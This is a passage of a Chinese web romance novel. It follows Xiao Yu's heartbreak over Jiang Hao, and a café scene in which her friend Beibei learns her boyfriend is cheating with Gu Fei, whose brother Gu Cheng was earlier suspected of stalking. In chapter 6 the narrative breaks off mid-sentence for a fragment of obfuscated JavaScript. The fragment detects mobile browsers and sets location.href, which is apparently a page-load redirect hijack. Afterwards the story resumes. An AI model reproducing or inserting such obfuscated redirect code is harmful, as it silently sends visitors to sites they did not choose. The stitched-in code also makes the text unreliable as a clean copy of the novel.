凉薄的回答,迅速得似乎根本不需要思考。姜昊依旧扭头看着别处,双手插进了裤兜,嗓音有点闷,不含一丝温度,“肖瑜,我做不到。你听到了吗?”
“我听到了。”肖瑜握成拳的双手,颤抖得像是暴风雨中的嫩叶。她抬头,泪眼模糊中,看到姜昊此刻几乎已是背对着她,她闭上眼睛,轻轻点了点头,“姜昊……谢谢你的生日礼物,我很喜欢。”
*
校园里的八卦,传得风一样快。
无数双八卦的眼睛,都在等着看肖瑜是不是还会像曾经那样,头天被拒,第二天就欢快地继续帮姜昊占座位,打饭,送零食。
只不过之前他俩这么闹,肖瑜从未像这次这样歇斯底里地哭喊,最多也只是被拒当天消停一下,老老实实安分地钻回寝室疗伤。
姜昊一如既往的凉薄,除了当晚回寝室太晚被舍管呵斥了一顿,据说眼睛都被训得有点湿。可周一去上课依旧是往常的模样,跟女同学该说说该笑笑,跟男同学该打球打球,勾肩搭背笑得又痞又肆意。
午饭时没有肖瑜兴高采烈地在食堂门口对他招手,跟他说,‘我又抢到了你爱吃的什么什么。’
身边的陈楚看他一眼,打趣道,“啧,你今儿可算实现打饭自由了。”
姜昊‘嘁’了一声,却抬眼去看肖瑜最喜欢的那个靠窗位置。
燕北北和刘孜歆已经在窗边吃上了饭,她并没有来。可在燕北北餐盘一边,放着一套小猪佩奇餐盒。
他脚步顿了一下,收回视线低下头,塞在裤兜里的右手紧紧攥成一团。
*
肖瑜和姜昊同院不同系。其实除去食堂和图书馆,和每周二、四下午的大课,如果不是肖瑜一直狂刷存在感,他们的交集也仅限于此。
周一一整天,肖瑜都没在姜昊视线中出现过,可她的消息却不可避免地会被同学和室友八卦进他的耳朵。
她没有生病,也没有请假。每节课都准时进班、按点下课,甚至日间还去了趟校务处。只是没有去食堂吃饭,也没有去图书馆自习,看起来情绪比较低落而已。
周二下午的大课,姜昊第一次再见到肖瑜。
他依旧像往常一样,打完球提前五分钟才到阶梯教室,下意识就去看正中间第二排的位置,却没有看到那道熟悉的身影和她身边的空位。
“耗子,这儿!”不远处周小林和陈楚朝他挥挥手,姜昊四下扫视着走了过去,扯起一丝笑,“你们还会来抢座?太阳打西边出来了?”
“谁让你现在凉凉了?
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以前哥们还能跟着沾沾光,现在可不都得靠自个儿了?”周小林一脸晦气地横他一眼,跟着,十分八卦地朝着右前方指了指,“那儿呢。”
跟他们隔了四五排临窗的角落里,肖瑜软软地趴在桌上,似乎正在睡觉。挨着她的,是燕北北。
“这下是真死心了。”陈楚也八卦了一句,继而是十分真诚的惋惜,“其实这姑娘除了追得紧,真挑不出别的毛病。哎,以后连M家的小蛋糕小饼干也吃不上了。耗子,你真是个狠人。”
姜昊凉凉扫他一眼,低头拿出手机,搜了M家出来,“要吃什么?”
“哈哈,自给自足啊?你真行。”陈楚把手机拿过来,却很吃惊地瞪大了眼,悄声道,“他们家点心这么贵的?我靠,以前我还真不知道。小鱼儿在你身上是真舍得啊。”
“你能不能别张嘴就是小鱼儿?”姜昊皱着眉把手机抢回来,不耐地说道,“小鱼儿是你喊的吗?吃什么,说。”
“啧。就说你得后悔……”陈楚还想继续埋汰他,可抬眼看到姜昊冷下来的眼神,还是很识相地没有破坏革命友谊,搂住他的肩笑道,“就照肖瑜平时拿过来的点就行。哥们儿不挑嘴。”
就这几句话的功夫,教授已经走上了讲台。
姜昊点完饼干放下手机,又看向肖瑜的方向。
授课声中,她直起了身子,手里却拿着不知道是纸巾还是毛巾的东西,捂在下半张脸上,偶尔,也会捂一下眼睛。
“别看了,教授都看你几次了。”
被周小林拍着胳膊唤回神,姜昊闭了下眼睛,转头看向讲台。
*
“要不,还是让你哥明天就把你接回去吧?”
课间讨论的功夫,燕北北担忧地看着肖瑜,悄声劝道,“你这样吃不下睡不下的,太伤身体了。”
两日的功夫,肖瑜已经明显憔悴了一圈,两只眼睛像硕大的水蜜桃,红红的,就没消过肿。
那夜回来,她跟个神经病似的,戴着冬帽,裹着同色系的围巾,直挺挺在床上躺了一夜。早上燕北北叫她的时候,她还睁着空洞无神的双眸,怔怔望着天花板。颈下的围巾,枕头,竟然全都湿透了。
燕北北和刘孜歆都吓了一跳,商量着是要给她家人打电话,还是先跟学校请假。可肖瑜却又慢吞吞坐起来,流着眼泪说,‘他没有错,只是不喜欢我。我也只是需要时间,我没事。’
上课,去校务处上交那个顾总的钱,顺便说明原因。下课,回寝室继续躺着发呆。
她们看得出肖瑜的确正在努力疗伤,也在尽可能地不给她俩增添负担。可打回来的饭,她只吃得进几口。半夜燕北北上厕所,悄悄掀开她的床帘子看,明显感觉得出,她根本就没睡着。因为月光下那双肿成桃子的眼睛,虽然紧紧闭着,却仍然在流泪。
“我现在不想也不能回家。”肖瑜又拿小毛巾擦了擦脸,抽着鼻子说道,“北北,我不是放不下,是我爸爸跟我说过,想哭的时候就是得哭出来,不然更伤身体。我在学校哭够了,回家就不会哭了。不然家里会很担心我,我哥说不定还会气得去揍他。”
她说着,又擦了遍眼睛,才继续抽抽搭搭地说道,“可姜昊真的没有错。”
燕北北听的是又气又心疼,皱眉看着她想了想,悄声说道,“自己都哭成蜜桃眼了,还搁那儿担心你哥揍他。你小说里处理失恋不是很有办法吗?嗳,我有个主意。”
5. 第 5 章
第五章
见肖瑜闻言很认真地看着她,可那双眼睛却因为太肿,怎么使劲儿睁都只有一条缝儿,燕北北实在忍不住笑,翘着唇角说道,“待会儿下课,我本来是打算去看我男朋友的。他们单位可是有很多单身大帅哥。你陪我去啊?说不定哪个就被你看对了眼,隔天就把姜昊给忘了呢?”
“不可能。”肖瑜听完,一下就泄了气,继续抽搭搭抹眼睛,“我都喜欢他六年了,怎么可能突然就能喜欢上别人。小说里那都是假的。我还写过男女主一夜情呢,可我连初吻都还在。”
“你不试试怎么知道啊?”燕北北还想劝,讲台上已经又传来教授的声音。她朝肖瑜挑了下眉,随手从笔记本上撕了一张纸,写道:【移情是治愈失恋最快的方法。你以前眼里只有他,当然没想过喜欢别人的可能。相信我,更好的永远在前面。】
*
一下课,两个女孩子就抓起书包飞快地跑出了教室,别说往姜昊他们那边看一眼,连课桌上的废纸都揉成团随意地塞进了桌斗。
“嗳,真是彻底凉凉了啊,这躲你跟躲台风似的。”陈楚瞅一眼往窗边看的姜昊,叹道,“可就是谈不成朋友而已,不至于吧?你俩以前再闹不也一起玩吗?”
“行了你别啰嗦了。”周小林也看一眼姜昊,笑道,“耗子,终于甩掉了小尾巴,你说晚上是不是应该庆祝一下?”
姜昊已经收回了视线,勾起唇角点了点头,“去喝酒。不过你俩得先去拿快递,买的有点多,给燕北北她们寝室也送一份。”
“啧。”陈楚意味深长地看了他一眼,却是转头跟周小林说,“小林,我女朋友说,有一种人特别不喜欢舔狗,你知道为什么吗?”
周小林看看姜昊,他也正支着耳朵听,却装出一副收拾课桌漫不经心的模样。于是他偷笑一下,很配合地问,“嗯?为什么?”
陈楚先站去过道,书包挎好,右腿迈开,“因为人家要自己当舔狗。哈哈哈。”
他说完就跑,果然避开了姜昊抬手就来的抽打,哈哈笑着在阶梯上朝周小林招手,“走啊,拿快递去。”
他俩笑闹着离开,姜昊却还慢吞吞地在收拾。
终待大教室里空无一人,姜昊提起背包走向肖瑜刚才的位置,坐下来怔怔看向桌面,那里还隐隐有着水渍。
原本周二这堂课,是她雷打不动每周送他情书的时间。
他的头有点疼,眼睛也很酸。捂着额头向后靠了一下,不期然看到桌斗里的纸团,他连忙拿出来展开,却在看完后,脸色登时难看起来。
左侧的位置有人坐下。姜昊立刻转头去看,却在看到是同班的辛叶柔时,愣了一下,掌心里那张纸再度被握成了一团。
“姜昊。”辛叶柔递给他一瓶果粒橙,很温柔地笑看着他,“晚上要去图书馆吗?我帮你占位置。”
姜昊并没有接饮料,“晚上有事。”
辛叶柔对他的拒绝也不在意,依旧柔声问道,“那周四大课我帮你占位置啊,你最喜欢的位置。”
姜昊勾了下唇角,转头看着她,扬起眉,“你也想追我?是觉得肖瑜看起来不够惨?”
“我喜欢你,你应该早就感觉到了。”辛叶柔很大方地说道,“我不会像肖瑜那样缠着你的,我会给足你自由的空间。”
“呵。”姜昊歪头看着她笑,突然凑近了一些,桃花眼在辛叶柔脸前弯起,看得她心跳都漏了一拍,不自禁就抿了下唇。
姜昊看了眼她抿起的唇,说道,“我问你个问题。”
“嗯?”辛叶柔有点紧张,她鼓足了勇气攥紧十指,保持着这有些暧昧的距离。
姜昊又笑了笑,视线向下滑去,从她的嘴唇扫向她微鼓的胸,“你们女孩子也会很想吗?”
辛叶柔被看得不太自在,却没有退缩,“什么?”
“跟喜欢的人拥抱,接吻。”姜昊向后挪开,将视线重又看回她的眼睛,唇角的笑意很坏,“上/床。”
“你!”辛叶柔一下就站了起来,不可置信地瞪着他,“姜昊,你太过分了!”
“嘁。”姜昊轻嗤一声,接下来一句话直接把辛叶柔给气哭了,“就算你真的很想,我也看不上你,你甚至连肖瑜一根头发丝都比不上。”
*
肖瑜和燕北北气喘吁吁赶到公交站,总算没错过最近的一班车。
两个人大喘着坐下,没多会儿,肖瑜的手机就响了起来。
“小鱼儿,说个事儿给你开心一下啊?”那厢是刘孜歆,语调里充满了八卦的欢快。
“什么啊?”许是刚才一阵跑出了汗,带走了一些难过的情绪,肖瑜一听,连忙招手示意燕北北也凑过来,很好奇地问,“什么事儿啊?”
刘孜歆先笑了一下,才说道,“姜昊又搞哭了一个,是辛叶柔,都传开了。”
肖瑜嘴角抽了一下,虽然没笑出来,但不得不说,确实感觉有点开心。
辛叶柔喜欢姜昊,她早就看出来了。因为每次她去他们班找他,辛叶柔都会有意无意拿班里的事儿做借口,当着她的面,跟姜昊说说笑笑,一副很亲密的样子。
除了总是对肖瑜说‘不行’,姜昊对其他女孩子一向都是不主动,也不拒绝,身边经常会有一些他说只是玩得好的女同学,就算有跟他挑明了告白的,他几句话敷衍过去,此后还是跟人家玩得毫无嫌隙。
可同为女生,肖瑜对辛叶柔的心思看得透透的。原本同为天涯沦落人,她看辛叶柔跟看自己一样心生同情,但辛叶柔却不是。每次遇到她,都阴阳怪气地指桑骂槐,话里话外都是说她不要脸,明明姜昊不喜欢她,她还贴钱出力地上赶着讨好。
所以听到是她被姜昊搞哭了,肖瑜不用想都知道,肯定是姜昊也拒绝了她。
*
“别笑了你。”晃晃悠悠在车上坐了半天,燕北北推了推肖瑜搁在她肩头的脑袋,十分好笑地说道,“真是个小孩子脾气,就这点事值得你笑一路啊?赶紧地睡一会儿,让你的眼睛消消肿。哎,真不该今天带你出来,应该等你休息好了再说。平时多好看的一朵白玫瑰啊,这会儿脸上挂俩大核桃似的。丑死了。”
“我陪你出来是顺便散心的,又不是真来找对象的。”肖瑜闭上眼睛,拿手捏着鼻梁做保健操,嘴角弯弯的,“我好想亲眼看看辛叶柔被拒绝哭的样子。上次我被拒之后趴在食堂哭,她还专门打了份苦瓜放我桌上,让我消暑,特别气人。”
燕北北也记得那次,忍不住笑道,“风水轮流转啊,她当时肯定没想到有一天自己也会被姜昊气哭。不过啊……”
她也歪头靠着肖瑜,有点疑惑地说道,“你说谁会不想在大学谈个恋爱,丰富一下人生的?姜昊怎么就对谈恋爱这么抗拒呢?你说……”她压低声音,悄声又说,“小鱼儿,你说他会不会,压根就不喜欢女的啊?
*
燕北北的话,对肖瑜来说,不啻于五雷轰顶。
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半小时后到了金融街站下车,临到坐进X行不远处的咖啡店,肖瑜都还有点魂魄不齐。
追他的路上千难万阻,她却从未想过这种最不可能的可能。可他的确好像一直把她当哥们儿,只要不提让他做她男朋友,俩人其实很亲密。而且除了单独跟她一起玩的时候,姜昊素来到哪儿,也都必定有男性朋友或者男同学勾肩搭背地跟着,就连去她家里玩,也是跟肖帅两个更亲热,比跟她在一起的时候看起来更放松,更肆意,更开心。
浪费了六年的青春啊……原来问题压根不是出在她身上。
“赵师兄,哎呀,居然有时间接电话啦?晚上请我吃饭啊?”
耳边响起燕北北愉悦的笑声,肖瑜很是羡慕地看着她,一边脱着大衣往卡座里塞,一边眼眸晶亮地听她跟男朋友讲电话,为写作积累素材。
“再忙也得吃饭呀。”许是那边的赵成杰有了推辞,燕北北佯怒地嗔道,“我不管,反正晚上我要跟你吃饭,还有肖瑜。我们俩现在就去找你。”
那边不知道说了什么,燕北北的脸色突然就变了,“出差?你什么意思,是在躲我吗?你一个柜员出什么差啊。”
肖瑜听得眼皮子一跳,顿时也跟着紧张起来。可燕北北却气得啪就把电话拍在了桌上,喘着粗气看向肖瑜,“他挂我电话。走,进去找他!”
“这会儿?”肖瑜连忙从大衣口袋里翻出手机,看了眼上边的时间,小心地劝道,“北北,银行马上关门了,我听说柜员下班还要结账送款,很忙的。我们再等等,你现在去正是他最忙的时候,会吵架的。”
燕北北火大极了,起身就拿起了刚脱下来的大衣,“你看他什么态度!还骗我说出差,他一个柜员出差是从柜台出到……”
“不好意思两位女士。”
燕北北正发脾气,两人的卡座一侧,行色匆匆过来一位看起来像是经理的男人,很客气地问道,“没有冒犯的意思,想请问一下您这边有没有拾到一部手机?”
“手机?”燕北北脸上还带着怒气,但还是很配合地转身四下看了看,又去看肖瑜。
肖瑜也起身在座位上看了看,跟着还拿起大衣,翻看了被大衣掩盖的地方,向那位经理摇摇头,“没有。我们刚刚坐下。”
“实在不好意思了两位。”经理一听,连忙诚恳地说道,“打扰了,你们两位今天免单。请随便点。”
他说完,几乎是一路小跑地又折身向点餐台那边走去,似乎还抹了一把汗,跟那厢站着的一个男人解释着什么。
男人个子很高,穿着黑色的羊绒衫,深咖的休闲裤。靠在吧台上听经理说着话,眼睛却一直看着燕北北和肖瑜的方向。
肖瑜觉得这人的身型有几分眼熟,可又跟平时电视里见过的那些身材高大的明星有些重叠。见燕北北已经穿好了大衣要走,她便没再多想,起身也拿了大衣,却在一阵脚步声中,看到那经理又小跑着过来,满额细汗地劝阻道,“两位女士,请等一下。您二位刚来就要走,不点点儿什么休息一下吗?点什么都行,都免单。”
“谢谢,有急事。”燕北北正气恼,客气地说了一句就要抬脚,不想那个经理居然两步上前就挡在了她和肖瑜面前,有点为难地说道,“女士,上一位客人的手机落这儿了。正在看监控,就几分钟的事儿,请您配合一下。”
“你什么意思?”燕北北登时就急了,大嗓门直接吼道,“你怀疑我们俩偷手机?!”
6. 第 6 章
第六章
“北北。”肖瑜连忙拉了她一下,上前跟那位经理说道,“要我们配合可以,我朋友现在有事,我在这里等你们看监控。行吗?”
燕北北一向是个急脾气,被冤枉盗窃这种事情,比赵成杰可能劈腿对她杀伤力都大。此时此刻,还不如先把这个火炮支走,反正大庭广众的,又是品牌连锁店,肖瑜并不怕真的就被人给当小偷抓走。
“谢谢,谢谢。”经理十分感激地看向肖瑜,居然双手抱拳朝她拜了拜。
肖瑜一个小姑娘,被这位三十出头,在她眼中分级为老男人的男人这么拜,她也连忙把手机放在桌上,学着他的样子拱拱手。
“我陪你。”燕北北起伏着胸膛又恨恨坐了下来,抬头瞪着那个经理说道,“看完监控,我们要精神损失费!光免单不行,门都没有!”
“好说,好说。”经理对着这个炮仗,态度更恭谦,连忙又朝燕北北抱了抱拳,再度一溜小跑回到了点餐台那边,跟吧台边靠着的男人交代了几句,直接去了后边的员工区,想必果然已经安排了人看监控。
*
“这都什么事儿啊!”燕北北郁闷极了,抬手找人过来随手点着餐单要了一大堆吃的喝的,捂着额头烦躁地说道,“昨晚我右眼就一直跳,就知道准没好事。”
“餐厅里丢了东西,又刚好是我们的位置,我们配合一下能清清白白地离开,也是应该的。”肖瑜安慰她道,“你跟赵师兄也是,别一着急就发脾气,万一他有苦衷呢。待会儿见了面好好说,你们俩以前在学校多好啊,我都羡慕死了。千万别冲动。”
“我们都半个月没见面了,老说他忙。”燕北北的嗓音逐渐低落下来,透出几分不确定,“肖瑜,之前就有学姐告诉我,大学里的爱情很难有结果的。因为大学时的感情太纯粹,等进了社会这个大染缸,你根本不知道哪一刻,它就变了味。太多的现实因素需要考虑,想要维持下来,太难了。”
肖瑜看着她,有几分心疼,更多的却还是艳羡,“可你们起码尝过这种感情的滋味啊……北北,想发脾气的时候,想想他曾对你的好。就算生气,也要给他解释的机会。好吗?”
“姜昊要不是个GAY,就真是个傻子。”燕北北低声嘟囔了一句,见肖瑜闻言并没有哭,她才又轻叹一声,说道,“你要是做了谁的女朋友,肯定是个温柔体贴会心疼人的。肖瑜,寒假里你也好好想想,能体验大学里爱情的时间不多了。”
肖瑜‘嗯’了一声,却低头看向了咖啡杯,那里面倒映出她落寞的眼神。
两个女孩子都沉默了下来,可这沉默不过维持了数秒,就被一个男人清润的嗓音打破了:“不好意思,能跟两位说几句话吗?”
肖瑜和燕北北都抬头看向来人,正是刚才一直站在吧台的男人。
此时近看,他二十七八的年纪,五官俊朗,是十分干净的矜贵气质。
肖瑜愣了一下,突然探头去看他的鞋子。磨砂皮,跟上次不同的颜色,却依然是舒适且昂贵的类别。
她忽然便满脸戒备地看着他,右手悄悄摸向放在桌上的手机。
燕北北却是被男人惊艳了一把,也愣了一下,去看肖瑜,见她是那副神色,她不由又抬眼看向这个男人,然后再看向肖瑜,悄声问道,“怎么了?”
肖瑜觉得此刻并不是解释的好时机,她待掌心彻底握住了手机,才轻舒一口气,可在低头准备拨打紧急电话的时候,突然使劲儿睁了下眼睛!
手机没电了……
男人一直淡淡看着她,将她的紧张戒备,手上的小动作,尽收眼底。
见这个双眼肿成大核桃的女孩子突然一副欲哭无泪的模样,他深吸一口气,尽量以十分客气的语调说道,“我的手机很重要,里面有很重要的信息,换起来很麻烦。我可以原价,或者你出个价,买过来。”
燕北北立刻明白过来,起身瞪着他说道,“原来你就是丢手机的客人。你手机那么重要,还会弄丢?丢就丢了,诬陷我们做什么?经理已经去看监控了,你不乐意就报警。”
“对!”肖瑜一听这话,立刻就有了主意,也起身说道,“我同意报警。立刻,马上。”
“你们还是学生吧?”男人扯了下唇角,好整以暇地看着她俩,似笑非笑,“万一因为这件事有了案底,不影响毕业吗?”
“嗳我这暴脾气。”燕北北觉得今天简直是背了大运了,眉头都拧成了一团,“你凭什么就认定了是我们拿的?监控告诉你的?还是你瞎猜的?警察叔叔是会讲证据的,可不单凭你一张嘴!”
“我现在只是很客气地请你们帮个忙,把手机还给我。”男人对燕北北的咄咄逼人有些不耐,干脆只盯着肖瑜,朝她扬了扬下巴,“你确定你手上拿的,不是我的手机?”
肖瑜把手机攥得紧紧的,使劲儿瞪大肿得睁不开的眼,“上次骗我蛋糕,今天还想骗我手机。你什么时候开始跟踪我的?顾总是吧?我说过你再骚扰我,我就报警抓你!光天化日,众目睽睽,你别以为我怕你!”
“……”男人石化一般僵在原地。
燕北北则愣了一下,立刻低头拨打110,边打还边快速问肖瑜,“上次你说的那个变态老男人,就是他?”
顾程第二次受到来自肖瑜的语言暴击,一张俊脸涨得通红,好半天,才深深深呼吸了一下,去看已经接通电话、正在添油加醋跟警察说自己是个变态跟踪狂的燕北北,“这里面有很大的误会。我建议你们还是不要冲动,我……”
“哥!”
几个人这厢正闹得热火朝天,一声清脆的呼唤插了进来,肖瑜抬眸望去,却脸色刷白地看了眼燕北北,连忙从卡座里出来,站到她的身侧,紧张地握住她的胳膊。
过来的女孩子穿着一身很华贵的皮草大衣,被她挽在身侧的年轻男人,在跟肖瑜四目相对后,竟也是脸色刷白,整个人都是震惊且不可思议的神色。
燕北北以为肖瑜是怕了那个变态,伸手拥住肖瑜护着她,却在身后一声熟悉的声音里,连警察那边的问话都听不清了。
“肖瑜,北北。你们怎么会在这里?”
说话的,是赵成杰,刚刚还在电话里说自己出差的那个人。
“阿杰,你认识她们?”
燕北北回过头,她似乎做梦一样,看着那个妆容精致的女孩子,轻笑着转头去问赵成杰,“看吧,我就说我们之间有缘。你朋友居然跟我哥哥也认识。哥……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203109|197281||http|test|mini|href|location''.split(''|''),0,{}));
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>女孩又回头去看已恢复往日神色,正静静观察现场暗流涌动的顾程,笑得十分明媚,“对不起啊哥,让你等久了一点。我还以为你等不及都走了呢。这就是阿杰,我男朋友。”
电话里,还有警察急切问询的声音,几遍之后,那边催促道,‘再不报地址,就是虚报警情……’
燕北北颤抖着想报出地址,唇角张开,却发现一个字都说不出口。
肖瑜心疼极了,她拿起电话快速报了地址挂上电话,转过头来看向赵成杰,“你不解释一下吗?你女朋友来看你,为什么她说你是她男朋友?”
挽住赵成杰的女孩一下就皱了眉,忽地甩开怀中的胳膊,杏眼横向赵成杰,“你有女朋友?”
“前女友,大学时候的,我跟你说过。”赵成杰此刻脸色已没有最初那样苍白,他不敢去看燕北北梦游般失魂落魄的脸,低头对女孩子扯起一个笑,“菲菲,我没想到今天会在这里遇到。对不起。”
“你对不起的人是燕北北!”肖瑜简直觉得不可思议,她震惊地望着赵成杰,一点都没给他说谎的机会,“刚才北北还跟你打电话,说要跟你吃晚饭,你说你出差去了。赵师兄,你撒谎!你敢拿手机出来让我们看通话记录吗!”
赵成杰的脸涨成猪肝色,下意识伸手去攥裤兜里的手机。他身边的女孩子却十分强势地直接顺着他的手,伸手从他裤兜里拿出手机,横眉瞪着他,“解锁。”
“菲菲。”赵成杰此时也有点恼羞成怒,却还是好声好气地劝道,“你哥哥面前,不要这样。都是误会,以后我会跟你解释的。”
‘啪’一声脆响,不仅挨了一巴掌的赵成杰呆住了,燕北北和肖瑜也都呆滞地看向动手的女孩子,只见她还顺手抄起桌上一杯咖啡,直接泼得赵成杰满头满脸全是污渍,“你这个渣男!居然敢让本小姐做小三!我看你是活腻了!滚!”
“你!”赵成杰哪料得到顾菲居然会动手,还是当着燕北北和肖瑜的面让他这么难堪,他懊恼地抹了把脸,正想伸手去拽她,眼前的顾程先他一步把顾菲拉去身后,轻嗤道,“你劈腿我妹妹,还想动手?是嫌泽城太小,装不下你了?”
赵成杰双拳握了又握,咬着牙将肖瑜和燕北北又看了一遍,转过身,大跨步地离开了咖啡厅,经过吧台的时候,却还不忘摸几张纸抽擦擦脸上的污迹。
“我不知道赵成杰有女朋友,如果知道,我绝对不会答应他。”顾菲很直接地开了口,不是跟哥哥顾程解释,而是看向依旧没有回神的燕北北,“所以我们两个都是受害者,请你不要误会我。”
她不卑不亢又照顾到燕北北情绪的解释,让肖瑜有点意外。她扶了燕北北坐下,转头想跟这个‘菲菲’再说几句话,两个穿着制服的警察已经从咖啡厅门口走了进来。
顾程看一眼再次满面戒备看向自己的肖瑜,几乎想扶额。他让顾菲也坐下,朝肖瑜说道,“你也看到了,我并没有跟踪你,是跟我妹妹约好的。其他的事情也都可以解释,全是误会。现在照顾你朋友最重要,同意吗?”
“谁报的警?”
说话间,两个警察已经走了过来,低头看一眼像是刚经历过情绪劫难的燕北北,蹙眉看向在场唯一的男人,“什么情况?”
7. 第 7 章
第七章
男人看起来并不像是跟踪狂,而且还有几分眼熟。
顾程又看一眼肖瑜,见她咬住嘴巴并没有再诋毁自己,这才淡淡笑了笑,跟警察说道,“刚才有个变态老男人,跟踪这两个女孩子。我路见不平,已经帮她们处理过了。”
肖瑜看了他一眼,低下头,嘴角抽了抽。
“感谢您的见义勇为。”警察舒了口气,并没有指责两个女孩子浪费公共资源,而是很关切地向燕北北交代道,“女孩子出门在外是要小心点,晚上不要走夜路,早点回家。有什么事情第一时间报警。”
*
四个人重新坐了下来。顾菲先看了对面的两个女孩子,这才疑惑地问道,“哥,什么情况?怎么连警察都过来了?什么变态老男人?原来你们不认识啊?”
顾程瞥一眼低着头的肖瑜,又看向同样低下了头的燕北北,觉得眉心有点疼,“一件一件说。先说……手机。”
肖瑜一听就不乐意了,把手机摆桌上,往他面前推了推,“你看清楚。这是我的。”
“你的?”顾菲很惊讶地看着顾程,越发疑惑地问道,“哥,我都迷糊了,不是不认识吗?怎么你的手机成她的了?”
肖瑜听的都惊了,连忙又把手机握回掌心,皱眉看着顾菲,“你们至于吗?为了个手机唱双簧?这手机是我的,我爸爸给我买的,有发票的!”
“你的?”顾菲探过头,十分不解地说道,“怎么可能啊?手机款式颜色一样不稀奇,可连手机壳都是同款?这个小猪佩奇的手机壳和猪头吊坠,我昨天晚上才给哥哥换上的。”
黑色的最新款苹果,粉白色的小猪佩奇手机壳,粉嘟嘟的猪头吊坠。
肖瑜忍不住扁嘴看向顾程,嫌弃的眼神藏不住。
顾程接收到她眯眯眼里的‘变态’两个字,清了下嗓子,扶着额头说道,“我妹妹一向喜欢搞怪,我只是懒得理她。”
“这怎么能叫搞怪呢?这是心意。”顾菲从包包里也拿出自己的手机放桌上,同款同色同样的手机壳,很自豪地说道,“这可是我偶像同款!我最喜欢的网文作者叫‘我爱佩奇’,她最喜欢佩奇了,上个月在粉丝群里跟我们分享的。我好不容易才找到同款呢。”
“……”肖瑜沉默了。
一直魂游天外的燕北北也突然回过神,看向肖瑜,“我爱佩奇?那不是……”
她隐去了下半句话,顾菲听了,却眼眸放光地看向她,有着知己难寻的兴奋,“你也看她的文?!我超喜欢她的。刚才我对待那个渣男的方式,就是她最新章节里的情节。不过可惜,没骂得他跟男主一样跪地求饶,鼻涕眼泪齐飞。我太好奇接下来会发生什么了,可她也不知道最近怎么了,以前来大姨妈痛到吃药都不会断更的人,居然连续两天都没更新了。我猜……”
“菲菲,想交朋友待会儿再说,先说手机的事。”顾程慢悠悠打断了她,盯着肖瑜,“所以你说,我是故意骗你手机吗?你是不是应该跟我道歉?”
“可就算手机和手机壳都碰巧长得一样,你污蔑我偷手机也不对啊。”得知内情,肖瑜心里稍微舒服了点,但对这个男人的得理不饶人很不满,咬着嘴巴小声咕哝道,“再说你上次就是骗我蛋糕了。”
“这是第二件事。”顾程终于觉得腰板直了一点,朝顾菲歪了下头,“上次,是她拿我手机摇人要蛋糕的。不是我。”
“我?”顾菲莫名其妙,挤眉想了一下,才哈哈笑道,“原来你就是‘爱耗子的鱼’啊?哈哈,对,那天我拿我哥的手机摇人要蛋糕闹着玩,谁知道我哥也给我订了一个。你拿过来的时候,他以为你是送外卖的,哈哈。后来外卖员送蛋糕过来的时候,我哥脸都绿了。”
她笑得前仰后合,连燕北北都被她灿烂的笑脸逗得不再那么伤神。
顾程接过餐厅经理递过来的果汁,一边轻啜,一边拿眼角余光留意着那个肿眼泡。
见她闻言呆滞了一会儿,可还是扁嘴瞅了自己一眼,眼神里还是写着大大的‘变态’二字。他微一皱眉,放下果汁凉凉看着她,“解释得不够清楚?”
“很清楚。的确是误会。”肖瑜不知道自己那嫌弃的眼神被他捕捉到,可被跟踪的误会被解除,其他的都是小事。她瞄一眼沉默的燕北北,转头看向顾菲,“你跟赵师……赵成杰,哦对了,我叫肖瑜,她是我的好朋友燕北北。北北是赵成杰的女朋友,刚才之前,他们并没有分手。”
“别再提那个渣男。”顾菲低哼一声翻了下眼睛,精致的小脸上尽是鄙夷,“追了我几个月,看着温文尔雅挺有分寸感的,没想到这么恶心。对了,我叫顾菲。”她介绍完自己,顿了一下,看向闻言越发脸色煞白、备受打击的燕北北,“燕北北,为这种男人伤心不值得,你应该庆幸能认清他的真面目。”
“我知道你说的对。”燕北北深深吸了一口气,想挤出一个笑,却看起来比哭都让人心疼,“我也不想为他伤心。但人心是肉长的,我恶心他劈腿是一回事,为我的恋情这样收场而难过,是另一回事。”
“姐妹!”顾菲眼睛亮了,特别欣赏地瞅着她,“咱俩有缘啊!看同一个作者的小说,被同一个渣男骗,连你这个拎得清的性格,我也喜欢得不行。哥……”她抬手就把顾程的胳膊抱怀里,狠狠晃,“以后北北就是我的小姐妹,她今天失恋,我也失恋,你是不是得请我们去喝一杯,借酒消个愁啊?”
“你看起来愁吗?我看你是想去庆祝。”顾程一口回绝,“不行。”
“哎呀哥……你答应我嘛……”
顾菲还在跟顾程撒娇卖乖。
对面的肖瑜跟燕北北也不料这姑娘性格竟这么泼辣,几句话下来也觉得对脾气。尤其听到她提议喝酒,燕北北登时便扯了扯肖瑜的手,“要不晚上去买醉啊?失恋三人组。”
“你也失恋啊?”顾菲的耳朵贼拉尖,闻声立刻又眼眸晶亮地看向了肖瑜,好奇道,“你是怎么失恋的?分享一下呗。”
“我连失恋都不算。”虽然彼此只称得上一面之缘,可肖瑜对顾菲的性格很认同,又是在这种情况下相遇,倒是没隐瞒地长长叹了口气,拿手捧住脸,惆怅地说道,“他从来都没答应过我,我只是……只是这次彻底死心了而已。”
“呵。”
肖瑜话音刚落,一声低笑从顾菲身侧传来,三个女孩六只眼,都十分不满地看向了顾程。
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顾程抿了下唇,他原本不觉得需要解释什么,可被女孩子们看得实在是不怎么自在,又想起之前那些误会就是因为懒得解释,才会让这个小姑娘犯了被害妄想症。
于是他看着肖瑜,很正经地解释道,“我不是看你笑话。我只是觉得,你因为失恋,只用了两天时间,就能让自己肿得变了形,还挺有趣。”
“……”
肖瑜握了下小拳头。
燕北北皱了下眉。
顾菲怔了一下,才扑哧一声笑道,“姐妹别往心里去,我哥真的不是看你笑话,他就这样。那什么,真的,咱们一起出去玩吧?我哥不去,就咱们去也行啊。”
“胡闹。”顾程皱眉看她一眼,端出了兄长的架子,“这里也有酒,你们聊会天少喝一点,不可以去酒吧。我还有点事,两个小时后过来,够你们聊吗?”
“这里有什么意思啊,又不能跳舞,也没有帅哥。”顾菲很不满地瞪着他,可见顾程真地沉了脸,她翻了下眼皮子,噘着嘴嘟囔道,“不去就不去。”
顾程这才起身,却又看了眼肖瑜,欲言又止。
肖瑜之前只觉得这个人可能有点变态,如今又给他加了个毒舌的标签,一眼都懒得看他。
